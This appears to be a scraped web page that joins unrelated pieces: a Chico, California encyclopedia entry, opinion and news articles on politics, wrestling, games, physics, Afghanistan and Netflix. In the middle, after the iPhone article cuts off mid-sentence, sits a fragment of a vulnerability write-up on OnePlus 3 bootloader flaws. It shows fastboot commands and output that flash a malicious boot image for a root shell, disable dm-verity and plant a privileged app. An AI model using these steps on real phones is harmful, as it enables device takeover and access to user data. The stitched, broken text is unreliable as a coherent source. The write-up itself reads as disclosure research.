The Valene L. Smith Museum of Anthropology on the Chico State campus presents temporary exhibits researched, designed and installed primarily by students. The museum was renamed November 18, 2009, by the Chico State Board of Trustees in honor of professor emerita Valene L. Smith, whose contributions and commitments to the museum have totaled over $4.6 million. The grand opening was held on January 28, 2010. The museum is across from the main entrance of the Miriam Library, next to the Janet Turner Print Museum.[33]
Construction started on the Gateway Science Museum (formerly the Northern California Natural History Museum) in 2008 and was completed on February 27, 2010. In the works for more than 10 years, the Gateway Science Museum is the leading center for science education and Northern California's local history, natural resources, seacoast, Sacramento Valley, and surrounding foothills and mountains.[34]
Art and theatre [ edit ]
About 40 murals and several galleries can be found in the city, including Chico Paper Company, 1078 Gallery, Avenue 9, The Space, 24-Hour Drive-By and numerous other galleries. The theatres in Chico include Blue Room Theatre, Chico Cabaret, Chico Performances, Chico Theater Company, and California Regional Theatre. The California State University, Chico Theatre Department also offers a variety of entertainment throughout the school year. In 2003, author John Villani named Chico one of the top 10 Best Small Art Towns in America.[35]
Points of interest [ edit ]
Chico is home to Bidwell Park, one of the largest municipal parks in the United States.
Chico is the site of Bidwell Park, the ninth-largest municipally-owned park in the United States, Bidwell Mansion State Historic Park, the Chico University Arboretum.
Sierra Nevada Brewing Company, the largest craft brewer in the US, is based in Chico.
Chico has the tallest building north of Sacramento in California: Whitney Hall, a nine-story dormitory on the Chico State college campus.
The Meriam Library on the Chico State campus is named after Ted Meriam. The building has more square footage than any other building in California north of Sacramento.
The State of California, Office of Statewide Health Planning and Development defines Enloe Medical Center as a General Acute Care Hospital in Chico with a Level II Trauma Center and Basic emergency care as of August 22, 2006. The facility is located at 1531 The Esplanade at (NAD83) latitude/longitude.
The Hooker Oak, formerly the largest Valley Oak in the world, was located at Hooker Oak Recreation Area in Bidwell Park.
Located in urban Chico, the Mechoopda Maidu Indian Tribe of Chico Rancheria is at 125 Mission Ranch Blvd.
Bidwell Municipal Golf Course, United States Department of Agriculture Plant Introduction Garden, Canyon Oaks Golf Course, Diamond Match Factory, Chico Museum, Chico Municipal Center, Dorothy F. Johnson Neighborhood Center, Veterans Memorial Building, Craig Hall, Stansbury House, Scrappy Dog, Madison Bear Garden, Chico Creek Nature Center, Chico Community Observatory, Big Chico Creek Ecological Reserve, Chico Area Recreation and Park District, Bidwell Amphitheatre, Honey Run Covered Bridge, Senator Theatre,[36] A. H. Chapman House, Allen-Sommer-Gage House, Patrick Ranch House, Silberstein Park Building, Pioneer Days.
Sports [ edit ]
Chico is home to Nettleton Stadium (also called The Net) baseball stadium on the California State University campus. It is the home field for the Chico State Wildcats baseball team, in NCAA Division 2.
Chico is also home of the Silver Dollar Speedway, a race track at the Silver Dollar Fairgrounds used for sprint car racing.
Chico is one of few cities to be home to two championship baseball teams in two different leagues simultaneously. The Chico State Wildcats were champions in both the 1997 and 1999 Division II College World Series. The Chico Heat were also champions in the Western Baseball League in 1997. The Chico Outlaws were founded with the Golden Baseball League in 2005 where they also won the championship in 2007 and 2010. Starting in the summer of 2016, the Chico Heat returned as a part of the Great West League, a collegiate summer wood-bat league, until 2018 when the league folded due to financial issues from a number of other participating teams.[37]
The Chico State Women's Rugby Club won the Collegiate Division I National Championship in 2001.
The Chico Rugby Club senior men's team won the Division III National Championship in 2002.
Bicycling [ edit ]
Chico has also gained a reputation as being a bicycle-friendly city. In 1997, Chico was ranked as the number-one cycling city in the nation by Bicycle Magazine[citation needed] and also hosts the Wildflower Century, an annual 100-mile (160 km) bike ride throughout Butte County every April, put on by Chico Velo Cycling Club. The city is in the process of creating a network of bicycle paths, trails and lanes. Some notable bicycle routes include a path leading from The Esplanade to the Chico Airport, a path running from downtown to East Avenue parallel to Hwy 32 along the railroad, a path along Park Avenue continuing down the Midway toward Durham, a path following Little Chico Creek from Bruce Road to Route 99, and a series of paths throughout Bidwell Park, and the Steve Harrison Memorial Bike Path, which bypasses Skyway and takes riders out to Honey Run Road.
Former sports organizations [ edit ]
Chico is the former home of the Chico Rooks (soccer), the Chico Heat (baseball – Western Baseball League), and Chico Outlaws (baseball - Golden Baseball League).
Agriculture [ edit ]
Almonds are the number one crop in Chico and the surrounding area, only recently edging out rice. Other crops in the area include walnuts, kiwis, olives, peaches, and plums.
The city is bounded on the west by orchards with thousands of almond trees, and there are still a few pockets of orchards remaining within the contiguous city limits. The trees bloom with a pink/white flower in late February or early March. Millions of bees are brought in for the pollination. The nuts are harvested in late August.[citation needed]
Walnuts are also a major agricultural production in the area north and west of town. Unlike the almond crops of the area, walnuts do not have the same appeal as they do not bloom in the spring. However, the trees themselves grow much larger, live longer, and are far more resilient to harsh weather than almond trees, which are known to be sensitive to frost and can be felled easily in winter storms. Similar to the almond crops, walnuts are harvested in early September.[citation needed]
There are several farmers' markets held in Chico:
Chico Certified Farmer's Market every Saturday morning (year-round) from 7 am until 1 pm at the Wall Street public parking lot on 2nd and Wall Streets.
Saturday mornings, May through November 7:30 am to Noon at the North Valley Plaza;
Thursday night market with a street-fair atmosphere is sponsored by the Downtown Chico Business Association from 6–9 p.m. each Thursday night during warm months in downtown Chico on Broadway, between 2nd and 5th Streets;
In June 2014, the Thursday night Chico farmers market was named one of the top 9 farmers markets to eat at in Northern California.[38]`
Transportation [ edit ]
Air [ edit ]
Chico Municipal Airport serves the area and is north of the city limits. It was served by United Airlines' United Express flights operated by SkyWest Airlines nonstop to San Francisco (SFO). Commercial passenger flights were discontinued by SkyWest on December 2, 2014 due to nonviability as indicated by United Airlines in June 2014. The city administration is trying to restore air service which would be provided by alternate airlines.[39] On July 31, 1961, the first-ever aircraft hijacking on United States soil occurred at the Chico Municipal Airport. Two men were critically wounded and the hijacker was sentenced to more than 30 years in prison.[40][41]
In the early 1980s, the airport was the home base and headquarters for Pacific Express, a scheduled passenger airline that served Chico with British Aircraft Corporation BAC One-Eleven twin jets. From 1962 to 2010, the airport was also home to Aero Union, a company that refitted and operated surplus military aircraft such as the Lockheed P-3 Orion turboprop as fire fighting aircraft for state and federal agencies until their move to McClellan Airfield, near Sacramento.
Another local airfield is Ranchaero Airport which is surrounded by orchards on the west edge of Chico.
An altitude record for unmanned gas balloons was set in Chico in October 1972 (51.8 km or 32.2 mi). The record was broken on May 23, 2002.
Land [ edit ]
Amtrak operates the Chico Amtrak station at Fifth and Orange Streets for the Coast Starlight service. The terminal is partially wheelchair accessible, has an enclosed waiting area, public restrooms, public pay phones, free short-term and long-term parking. Trains run between Seattle and Los Angeles with a northbound, and a southbound train departing from the station daily. The Greyhound bus station is also located at Fifth and Orange Streets.
The North Valley Shuttle has five scheduled runs daily to Sacramento International Airport leaving from Jack's Restaurant at Sixth and Main Streets.
The B-Line (Butte Regional Transit) serves the Chico Urban area with eight routes operating Monday through Saturday and two shuttle routes for Chico State students during the academic year. It also serves the Chico urban area with nine modified vans providing transportation for the elderly and the mobility impaired seven days a week. The transit center in Chico is located at Second and Salem Streets.
Uber and Lyft are used extensively, especially by students and trips to Sacramento International Airport.
Chico is a silver level bicycle-friendly community as designated by the League of American Bicyclists.[42] Chico was also named "America's Best Bike Town" by Bicycle magazine in 1997.
Pedicabs are commonly available downtown during the evenings.
Major highways [ edit ]
State Route 99 and State Route 32 intersect in Chico.
Media [ edit ]
Broadcast [ edit ]
Television [ edit ]
KCVU-TV Channel 20 (Fox)
KHSL-TV Channel 12 (CBS)
KNVN-TV Channel 24 (NBC)
KRCR-TV Channel 7 (ABC)
Radio [ edit ]
Sister cities [ edit ]
Defense [ edit ]
Chico was designated to be the provisional capital of California, in the event that a disaster occurred that would cause evacuation of Sacramento after a Civil Defense exercise named Operation Chico was deemed a success.[45]
No person shall produce, test, maintain, or store within the city a nuclear weapon, component of a nuclear weapon, nuclear weapon delivery system, or component of a nuclear weapon delivery system under penalty of Chapter 9.60.030 of the Chico Municipal Code.[46]
Notable people [ edit ]
See also [ edit ](Reuters photo: Mike Segar)
The only reason they support the Left is to avoid unfavorable publicity.
‘Amid this turbulence,” the New York Times breathlessly reported, “a surprising group of Americans is testing its moral voice more forcefully than ever: C.E.O.s.”
Vox upped the ante, explaining: “After Charlottesville, CEOs have become our public conscience.” The piece’s original title, “Corporations are replacing churches as America’s conscience,” was even more arresting.
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But the real face of corporate morality was not in the wind of herd-mentality withdrawals from useless presidential advisory boards, and it was not in the earthquake of boring condemnations of “hatred.” No, it was revealed in the dumpster fire that was ESPN’s decision to pull an Asian-American sportscaster named Robert Lee from the coverage of a University of Virginia football game, on the sole basis that he shares two names with Robert E. Lee, the Confederate general.
Some companies struggle in vain. Walmart, for example, has invested $100 million in economic-mobility programs. The world’s biggest oil companies joined together to urge President Trump to stay in the Paris Agreement on climate change. Corporations tripped over themselves to put out gay-pride-themed brands and advertisements.
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As perhaps they should — contra Vox, “America’s conscience” does not reside in corporate boardrooms. CEOs have legal responsibilities to put their shareholders first, even before the common good, in some cases. Our “moral voice” must put the people first.
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As ESPN and many previous examples have shown us, this often means that corporations will be risk-averse and choose to side with the Left on contentious social issues. Bandwagoning onto the right side of History and advancing the frontiers of political correctness and social coercion, these powerful companies have found that the safest way to avoid the mob is to lead it.
READ MORE:
Parasitic Progressivism at ESPN, Marvel, and Mizzou
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Can’t We All Just Stick to Sports?
Don’t Let Politics Ruin BaseballDragon’s Crown Pro delayed to February 8 in Japan, first-print bonus digital gamebook announced
A two-week delay for the PlayStation 4 port.
Atlus has delayed Dragon’s Crown Pro from its previously announced January 25 release in Japan to February 8.
The PlayStation 4 port of the VanillaWare-developed action RPG will feature 4K resolution support, the entire soundtrack newly recorded by a live orchestra, cross-play with the PlayStation 3 and PS Vita versions (as well as save data importing), and both English and Japanese voices.
Atlus also announced that all first-print copies of Dragon’s Crown Pro will include the digital game book, “Treasure of Demon Island.” Described as a new adventure, players will choose their favorite adventurer from Dragon’s Crown, roll the dice, and begin their journey. In order to obtain the mysterious treasures hidden on Demon Island, players must rely on courage, determination, and fortune to overcome terrible enemies and dangerous traps.
Watch an updated version of the announcement trailer below. View a set of images from the digital game book at the gallery.Revolutionary theory of dark matter
The universe abounds with dark matter. Nobody knows what it consists of. UiO physicists have now launched a very hard mathematical explanation that could solve the mystery once and for all.
LOOKING FOR DARK MATTER: Are Raklev, the university's leading theoretician in astroparticle physics, has launched a mathematical model that explains what dark matter may consist of. Photo: Yngve Vogt
Astrophysicists have known for the last 80 years that most of the universe consists of an unknown, dark matter. The solution to the mystery may now be just around the corner.
"We are looking for a new member of our particle zoo in order to explain dark matter. We know that it is a very exotic beast. And we have found a plausible explanation," reports Are Raklev, an associate professor in particle physics in the University of Oslo's Department of Physics. He is the university's leading theorist in astroparticle physics and has launched a model that explains what dark matter may consist of and how one can discover the invisible particles experimentally.
Even though dark matter is invisible, astrophysicists know it exists. Without this dark matter it is impossible to explain how the visible things in the universe hang together.
An 80 year fight
The world famous, Swiss physicist Fritz Zwicky was speculating on what dark matter might be as early as the 1930s.
Astrophysicists have calculated that 80 per cent of all the mass in the universe is dark, invisible matter. Thanks to gravity this dark matter clumps together as ordinary matter.
Dark matter can explain why stars move like they do. Dark matter may also explain the rotation speed of galaxies.
"Even though we can calculate how much dark matter there is in the universe, we still know little about what dark matter is. The particles in dark matter must either have a lot of mass, or there must be very many of them. Neutrinos meet all the requirements of dark matter. But there is one big difficulty. They have far too little mass."
Are Raklev is now trying to prove that dark matter consists of gravitinos. This is a particle that has been unfairly treated for years.
And just what are gravitinos? Hold tight: gravitinos are the supersymmetric partner of gravitons.
Or, to be even more precise:
"The gravitino is the hypothetical, supersymmetric partner of the hypothetical particle graviton, so it is also impossible to predict a more hypothetical particle than this," laughs Raklev, who writes on his web pages that he is looking for dark material both under his sofa and other places.
In order to dig deeper into why Raklev believes dark matter consists of gravitinos, and have any chance at all of understanding the theory behind gravitinos, Apollon has to take a couple of steps back:
SIGNS OF DARK MATTER: The image shows all the gamma rays recorded by the Fermi-LAT space probe as a map of the entire universe. The red band through the middle of the image is radiation from our own galaxy. The centre of the galaxy is almost at the centre of the image. "It is here that a small surplus of gamma rays has been seen that one cannot immediately explain by the radiation one expects from ordinary matter. The observations may fit our dark matter models. This surplus of gamma rays is not visible to the eye, but can be found by a time consuming analysis of the data," says Are Raklev, who reminds us that the analysis is still a little uncertain.
Step 1: Supersymmetry
Physicists want to find out whether or not nature is supersymmetric. Supersymmetry means that there is a symmetry between matter and forces. For each type of electron and quark there is a corresponding heavy, supersymmetric partner. The supersymmetric particles were created in the instant after the Big Bang. If some of them have survived to today, they may be what dark matter is made of.
The supersymmetric partner of the gravitino is, as Apollon said, the graviton.
"A graviton is the particle we believe mediates gravitational force, just like a photon, the light particle, mediates electromagnetic force. While gravitons do not weigh anything at all, gravitinos may weigh a great deal. If nature is supersymmetric and gravitons exist, then gravitinos also exist. And vice versa. This is pure mathematics."
But there is a small but. Physicists cannot demonstrate the relationship between gravitons and gravitinos before they have managed to unify all the forces of nature.
Step 2: The forces of nature
One of the biggest things physicists long to do is to unify all the forces of nature in a single theory. In the middle of the last century physicists discovered that electricity and magnetism were part of the same force of nature. This force has since been called electromagnetism. Two of the other forces of nature are the strong nuclear force and the weak nuclear force. The weak nuclear force can be seen in, among things, radioactivity. The strong nuclear force is ten billion times as strong and binds together neutrons and protons.
In the 1970s, electromagnetism was unified with the strong and weak nuclear forces in what physicists call the standard model.
The fourth force of nature is gravity. Even though it is unbelievably painful to fall down stairs, gravity is the weakest of the four forces of nature.
The problem is that physicists have not yet been able to unify gravity with the three other forces of nature. The day physicists gain a unified understanding of all four forces of nature, they will gain a unique understanding of the world. This will make it possible to describe all imaginable interactions between all possible particles in nature. Physicists call this the ToE Theory (Theory of Everything).
"In order to unify gravitational force with the other three forces of nature we have to understand gravity as quantum theory. This means we need a theory in which the particle graviton is included in the atomic nucleus."
Researchers are now looking for signs of both supersymmetry and the ToE Theory. Discovering the graviton would be an enormous step in this direction.
Reveals dark matter
As the reader may have understood, it is very difficult to research dark matter. This is because dark matter has no electromagnetic relationships to terrestrial particles at all. One example of dark matter is the aforementioned neutrino. Unfortunately, neutrinos make up only an imperceptibly tiny part of dark matter.
Even though it has not been possible to observe dark matter, several billion neutrinos race through your body every second. However, their speed is somewhat limited. The particles move just as slowly as the speed the solar system moves around the galaxy. In other words, a mere 400 kilometres a second.
"When there are no electromagnetic relationships with visible particles, the particles can pass right through us without any measuring instruments detecting them. This is where supersymmetry comes in. If supersymmetry is right, physicists can explain why there is dark matter in the universe. That is what is fun about my job," laughs Raklev.
He is now asserting that dark matter mostly consists of gravitinos.
"Supersymmetry simplifies everything. If the ToE Theory exists, in other words if it is possible to unify the four forces of nature, gravitinos must exist."
The gravitinos were formed right after the Big Bang.
"A short time after the Big Bang we had a soup of particles that collided. Gluons, which are the force bearing particles in the strong nuclear force, collided with other gluons and emitted gravitinos. Many gravitinos were formed after the Big Bang, while the universe was still plasma. So we have an explanation of why gravitinos exist."
Changed life span
Physicists have up to now viewed gravitinos as a problem. They have believed that the theory of supersymmetry does not work because there are too many gravitinos.
"Physicists have therefore strived to eliminate gravitinos from their models. We, on the other hand, have found a new explanation that unifies the supersymmetry model with dark matter that consists of gravitinos. If dark matter is not stable, but just very long lived, it is possible to explain how dark matter consists of gravitinos."
In the old models dark matter was always everlasting. This meant that gravitinos were a bothersome part of the supersymmetry model. In Raklev's new model, their life span is no longer endless. Nonetheless, the average life span of gravitinos is very long and actually longer than the life span of the universe.
However, there is a big difference between an unending life span and a life span of more than 15 billion years. With limited a life span, gravitinos must be converted into other particles. It is precisely this conversion effect that can be measured. And the conversion explains the model.
"We believe that almost all dark matter is gravitinos. The explanation lies in very hard mathematics. We are developing special models that calculate the consequences of these theories and we predict how the particles can be observed in experiments."
The measurements are underway
Researchers are now trying to test this experimentally and explain why these new particles have not yet been seen in the CERN experiments in Geneva in Switzerland.
"On the other hand, it should theoretically possible to observe them from a space probe."
The simplest way of observing gravitinos could be studying what happens if two particles collide out in the universe and are converted into other particles such as photons or antimatter.
Even though the collisions occur very rarely, there is still so much dark matter in the universe that a significant number of photons should be able to be produced.
The big problem is that gravitinos do not collide.
"At least it happens so rarely that we could never hope to observe it."
Nonetheless there is hope
"Luckily for us, gravitinos are not one hundred per cent stable. They are converted into something else at some point. We can predict what the signal looks like after gravitinos have been converted. The conversion will send out a small electromagnetic wave. This is also called a gamma ray."
NASA's Fermi-LAT space probe is currently measuring gamma rays. A number of research groups are now analysing the data.
"So far we have only seen noise. But one of the research groups claim they have observed a small, suspicious surplus of gamma rays from the centre of our galaxy. Their observations may fit our models," says the man behind the very difficult mathematical model for dark matter, associate professor in theoretical particle physics, Are Raklev.CORSIER-SUR-VEVEY, Switzerland — Wrestling’s governing body said Friday it was investigating whether an Iranian threw a match to avoid facing an Israeli.
United World Wrestling announced that it is looking into irregularities surrounding a first-round match between Ali Reza Karimi of Iran and Alikhan Zhabrailov of Russia at the recent U-23 World Championships in Poland.
The international federation said several news outlets reported that Karimi was directed by his coaches Saturday to intentionally lose because Israel’s Uri Kalashnikov would have been Karimi’s second-round opponent.
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UWW said its legal and ethics committees will review the matter in the coming weeks and make recommendations to the organization’s administrating body.
The wrestler has also acknowledged he was ordered to throw the fight and was very unhappy about it.
“In a moment, my whole world seemed to come to an end,” he said.
Israel and Iran are bitter adversaries and Iranian athletes traditionally refrain from competing against Israelis. Iran’s government usually rewards such behavior.
Karimi told ISNA that he was beating Russian Alikhan Zhabrailov when coaches told him to lose. “I tried hard for months to get the world gold medal,” he said. “Achieving a world medal is the only happiness for any of us.”
Iran’s government paid tribute to Karimi, praising him for his “noble and heroic action” and calling him “a source of pride and praise,” while the country’s wrestling federation called him a “hero” and extolled his “sacrifice.”
According to footage posted online, Karimi looked well ahead in his bout against Russia’s Alikhan Zabrailov, but then let himself be easily beaten.
The Iranian athlete seems to abandon the fight completely and lets himself be dominated after a voice shouts out in Persian: “You must lose, Ali Reza!”
Iranian wrestler Alireza Karimi about to beat Russian, but will have to face Israeli next round. His coach his calling him from the sidelines, telling him to “lose.” Iran forbids its athletes to play Israeli’s. Iranian wrestler gives up. pic.twitter.com/nX9KHaH8Jn — Thomas Erdbrink (@ThomasErdbrink) November 27, 2017
The hashtag #youmustlose was trending Monday in Iran, with comments both for and against his actions, some of them hostile to Iran’s authorities and others saluting his stand.
According to the results of the tournament, Russia’s Zabrailov won gold in the 86-kilo category, and Israel’s Kalashnikov took bronze.Artwork: Chip Taylor Is there really a problem with the iPhone 4 antenna? Apple is about to answer this question Friday, at a hastily announced press conference at its Cupertino campus. Meanwhile, millions of iPhone 4 customers (and tech pundits) are playing the guessing game running up to Friday's event. What does Apple have to say about the antenna issue and what will it do - if anything?
First off, a quick recap: evidence to date is not helping Apple. From users, to tech media, and the independent Consumer Reports said that something is wrong. Some iPhone 4 owners have complained of being stuck in iPhone 4 hell saddled with multiple iPhone 4 problems. Steve Jobs is now being directly implicated in iPhone 4 antenna-gate and Sen. Charles Schumer (D-New York) has penned a letter asking Jobs to personally solve the problem. Schumer is calling Apple's current software fix "insufficient."
So what could Apple do to solve the problem? Here are some educated guesses tech pundits have put forward ahead of tomorrow's event:
The iPhone Is Selling Very Well
The first thing we are going to hear tomorrow is probably how well the iPhone 4 is selling. 1.7 million devices in the first three days, so expect at least two million iPhone 4s sold to date.
Acknowledge The Problem
"Apple will undoubtedly acknowledge that holding the iPhone 4 does affect the signal. But they'll note once again that this is true of all cellphones," predicts TechCrunch's MG Siegler. Apple said all smartphones experience signal drops when held in a certain way (some call it the 'death grip'), and reports say that many now have better reception with the iPhone 4 than they did with previous iterations of the device.
Bumper Cases Won't Make The Cut
If Apple's solution to the iPhone 4 antenna woes will be to give away $29-worth bumper cases to all customers, it would cost the company over $51 million just to cover the initial batch of 1.7 million iPhone 4's sold in the first three days of availability |
020 s ] finished. total time : 0. 021 s λ fastboot flash boot evil_boot. img target reported max download size of 440401920 bytes sending'boot'( 14836 KB )... OKAY [ 0. 342 s ] writing'boot '... OKAY [ 0. 135 s ] finished. total time : 0. 480 s
That had given me a root shell, even before the user entered his credentials:
OnePlus3: / # id uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ), 1004 ( input ), 1007 ( log ), 1011 ( adb ), 1015 ( sdcard_rw ), 1028 ( sdcard_r ), 3001 ( net_bt_admin ), 3002 ( net_bt ), 3003 ( inet ), 3006 ( net_bw_stats ), 3009 ( readproc ) context = u : r : su : s0 OnePlus3 :/ # getenforce Permissive
The OnePlus 3/3T kernel seems to be compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel.
So I created a tiny kernel module:
#include <linux/module.h> #include <linux/kdb.h> int init_module ( void ) { printk ( KERN_ALERT "Hello From Kernel
" ); return 1 ; }
And then loaded it into the kernel:
OnePlus3: / data / local / tmp # insmod. / test. ko OnePlus3 :/ data / local / tmp # dmesg | grep Hello [ 19700121 _21 : 09 : 58. 970409 ] @ 3 Hello From Kernel
Disabling dm-verity (CVE-2017-5624)
The verification of the system partition, as opposed to boot & recovery, is driven by dm-verity. What we discovered, is that one can instruct the locked bootloader to bring up the platform with dm-verity disabled by another fastboot command: fastboot oem disable_dm_verity.
The oem disable_dm_verity handler is as follows:
// 'oem disable_dm_verity' handler int sub_9183B8EC () { int v0 ; // [email protected] int v1 ; // [email protected] dmVerity_dword_91960740 = 0 ; v0 = sub_91845E10 ( "ANDROID-BOOT!" ); if ( dword_9198D804!= dword_9198D804 ) assert ( v0, v1, dword_9198D804 ); return sendOK (( int ) "", v1 ); }
So again, this sets some flag at 91960740 (which we named dmVerity). It is then used by the bootloader when it constructs the kernel cmdline:
The androidboot.enable_dm_verity kernel command line argument propagates to the ro.boot.enable_dm_verity which later instructs OnePlus’s init whether or not to disable dm-verity :
Combining the 2 Vulnerabilities
The couple of vulnerabilities can be combined together for code execution with privileged SELinux domains, without any warning to the user and with access to the original user data. In order to demonstrate this (and there are probably thousands of better ways with a higher severity), I’ve modified the system partition, adding a privileged app. This can be done by placing an APK under /system/priv-app/<APK_DIR> which will eventually cause it to be added to the priv_app domain.
λ fastboot flash system system - modded. simg target reported max download size of 440401920 bytes erasing'system '... FAILED ( remote : Partition erase is not allowed ) finished. total time : 0. 014 s λ fastboot oem 4 F500301 OKAY [ 0. 020 s ] finished. total time : 0. 021 s λ fastboot flash system system - modded. simg target reported max download size of 440401920 bytes erasing'system '... OKAY [ 0. 010 s ]... sending sparse'system'7 / 7 ( 268486 KB )... OKAY [ 6. 748 s ] writing'system'7 / 7... OKAY [ 3. 291 s ] finished. total time : 122. 675 s λ fastboot oem disable_dm_verity... OKAY [ 0. 034 s ] finished. total time : 0. 036 s
Indeed the app loads with the priv_app context:
1 | OnePlus3 :/ $ getprop | grep dm_verity [ ro. boot. enable_dm_verity ] : [ 0 ] OnePlus3 :/ $ ps - Z | grep roeeh u : r : priv_app : s0 : c512, c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S roeeh. fooapp
The following video shows the result – platform has been loaded without a warning and with the privileged app is installed.In this May 27, 2016 file photo, Taliban fighters react to a speech by their senior leader in the Shindand district of Herat province, Afghanistan. Associated Press/Allauddin Khan The government of Afghanistan lost almost 15 percent of its territory last year, as Taliban insurgents continued to launch attacks amid declines in U.S. and allied military personnel.
The figure is included in a government watchdog's latest assessment of the security situation and reconstruction effort in Afghanistan. The assessment comes as the Donald Trump administration grapples with how to move forward in what has become America's longest war.
"Analysis of the most recent data provided by U.S. Forces in Afghanistan (USFOR-A) suggests that the security situation in Afghanistan has not improved this quarter," states the latest quarterly report from the Special Inspector General for Afghanistan Reconstruction, or SIGAR. "The numbers of the Afghan security forces are decreasing, while both casualties and the number of districts under insurgent control or influence are increasing."
The government of Afghanistan lost control of 15 percent of its districts between Nov. 2015 and Nov. 2016, according to figures from the Pentagon. Roughly 57 percent of Afghanistan's 407 districts were under control or "influence" of the Afghan government as of mid-November, a 6 percent decrease from August and a 15 percent decrease from November 2015.
Meanwhile, the number of districts under the control or influence of insurgents increased from 8 to 10 percent since August, with roughly one-third of all districts deemed "contested" by insurgents.
The report offers a bleak assessment of the security situation in Afghanistan, which remains unstable despite billions of dollars invested by the U.S. government. President Obama was forced to slow the drawdown of U.S. troops from Afghanistan last year, leaving about 8,400 U.S. forces in the country through his final term to advise, train, and assist local forces fighting the Taliban.
Members of the Taliban gather at the site of the execution of three men accused of murdering a couple during a robbery in Ghazni Province Thomson Reuters
Insurgents have continued to attack key population centers and security checkpoints, challenging Afghan army and police forces that have made slow gains despite high casualties.
The overall troop strength of the Afghan national army has declined for three consecutive quarters, according to SIGAR, losing more than 1,100 personnel between August and November. The count of Afghan national police forces also shrunk by 845 during the latest reporting period. Afghan forces endured over 18,500 casualties last year, according to figures from the Afghan government.
This month, the Defense Department deployed about 300 Marines to southern Helmand Province, the site of some of the heaviest fighting during combat operations in Afghanistan. The Marines were deployed to aid Afghan forces there.
Afghanistan's Uruzgan and Helmand provinces have the largest percentage of districts controlled or influenced by insurgents.
U.S. military personnel have offered tempered praise of Afghan forces, highlighting their ability to defend areas and retake territory temporarily lost to the Taliban. At the same time, officials have expressed concerns about the Afghan forces' high casualty rates and persisting capability gaps.
Gen. Joseph Dunford, the Joint Chiefs of Staff chairman, and Gen. John Nicholson, the commander of U.S. and NATO troops in Afghanistan, described the enduring conflict as a "stalemate" last September.
Marine Corps General Dunford testifies during the Senate Armed Services committee nomination hearing on Capitol Hill in Washington Thomson Reuters
It is unclear how the new administration will respond to problems in Afghanistan. The Wall Street Journal reported last week that Trump told Afghan President Ashraf Ghani on a phone call in December that he would consider increasing U.S. troops in the war-torn country. At the same time, Trump has promised to end "nation building" and focus on domestic issues.
Last week, Trump issued executive actions directing a readiness review of the U.S. armed forces and the development of a strategy to defeat the Islamic State in Iraq and Syria.
Trump and Defense Secretary Jim Mattis have pledged to rebuild the U.S. armed forces and roll back budget reductions that have squeezed defense spending in recent years.A top Netflix executive said on Tuesday that the company has moved to shooting all of its original content in 4K.
In the coming months, Ted Sarandos, the company’s chief content officer, said when people start to see the difference, it will dramatically change the level of quality they will want when watching videos online.
“It will completely invert people’s expectations of quality of content on the Internet.” Sarandos said
Sarandos made his remarks as part of a wide-ranging interview on stage at the MIPCOM conference in Cannes. The conference is one of the world’s largest gatherings of new and traditional broadcasters and content creators. And those are important ears and eyes for Netflix, which has increasingly been looking outside the U.S. for places to grow.
To that end, Netflix recently embarked on a major European expansion that added six new markets, including Germany and France. Of course, that also caused a fair bit of controversy in film-loving France.
But Netflix chugs on. Sarandos made it clear that he believes Netflix is part of a wave that will change just about everything when it comes to the way we make and watch television and films.
“The current distribution model for movies in the U.S. particularly, but also around the world, is pretty antiquated,” Sarandos said, according to the conference’s stream of live tweets and video clips.
“Releasing one episode at a time on linear television for scripted TV will, I think, soon be a thing of the past,” he added.
Part of the way Netflix is changing our viewing habits is through its technology. Given that it’s not likely to be able to stream the biggest Hollywood blockbusters on a regular basis due to cost and rights issues, the company is increasingly leaning on its data and algorithms to help viewers find and enjoy content from its library.
“The way we test ourselves on it is the take rate,” Sarandos said. “When we show you all these various pieces of content on the site, how frequently do you take the one that we present. And of the one you took, how frequently do you completely watch the whole series. And do you rate it, one to five stars. So if we presented it to you, and you watched it, and you rated it, that’s a big win.”
It’s a system that does have its limitations.
“I don’t think we know your mood yet,” he joked. “But I’d like to work on that.”
But the company has been able to use those analytics to make its push into original programming.
“Our ability to invest in ‘House of Cards’ at the level we did was enabled by analytics,” Sarandos said. “Which basically said if you have David Fincher and a script by Beau Willimon, and Kevin Spacey and Robin Wright, that show could be quite large.”
However, Sarandos was clear that Netflix doesn’t use that data to steer the plot.
“There’s a misunderstanding about our analytics, that we somehow use the data to craft programming,” Sarandos said. “This is completely inaccurate. We use the data to determine the potential size of the show.”
In that regard, Sarandos walked through a number of original programming events Netflix has coming up:
— Chelsea Handler: Sarandos said the show will “lean on the things that Chelsea’s really great at: telling stories and making us laugh.”
— Marco Polo: Debuting in December, he said it’s a massive show, with a cast and crew of 800 from around the world. “The star of the show is the show,” he said. “It’s beautiful, huge in scope. Took over five studio sound stages in Malaysia.”
— Adam Sandler: “I think Adam is a real talent who knows his audience really well,” Sarandos said. “And he knows where his audience is and how to talk to them. So when you say you’re going to do four Adam Sandler movies, you have a pretty good idea of what those are going to be and what they’re going to feel like.”
For the moment, Sarandos said, Netflix isn’t interested in live sports or news.
“If we can figure out how to do something different with news, that would be interesting,” Sarandos said. “I wouldn’t rule out anything.”
Circling back, Sarandos noted that original programming was important to the company’s push into new territories. He said “Orange is the New Black” is the most watched show on Netflix in France and Germany.
And he said Netflix was confident enough to announce plans for an original French-language series, called “Marseille,” because French TV shows had proven popular around the world.
To critics who have pointed to the thin lineup Netflix offers in new regions, Sarandos said the company typically launches with about half the programming it has available and then doubles it over the next 12 months, adding a little bit each day.After another drubbing last night in five state primaries, the Ted Cruz campaign is hitting the little red panic button, and this week announced a partnership of sorts with the Kasich camp to block a Trump nomination. While the Cruz and Kasich campaigns are riding in the caboose of the Trump Train, talk of potential Vice Presidential candidates has already emerged. In fact, this morning Cruz made a pre-announcement that today at 4 p.m. ET he would making another announcement, and speculation is swirling about what the Texas Senator will reveal.
Typically, we see candidates hold these special announcement gatherings on the days after big state primary losses as a means to announce that a campaign is formally being suspended. You could easily mistake this announcement for one of those if you looked simply at the statistics: like a skyscraper with his own name on it, Donald Trump‘s 854 delegates tower over Cruz’s 562, and his poor performance in all five of last night’s states primaries do not indicate that there is a path forward on solid ground.
But everyone knows Cruz isn’t dropping out of the race today; he’s still out on the stump, eagerly shaking hands and campaigning hard, taking his message to Indiana where voters will head to the polls on Tuesday. And based on their weirdly-phrased arrangement that may or not actually be happening, it seems as if both the Cruz and John Kasich camps will continue their efforts into Oregon and West Virginia as well.
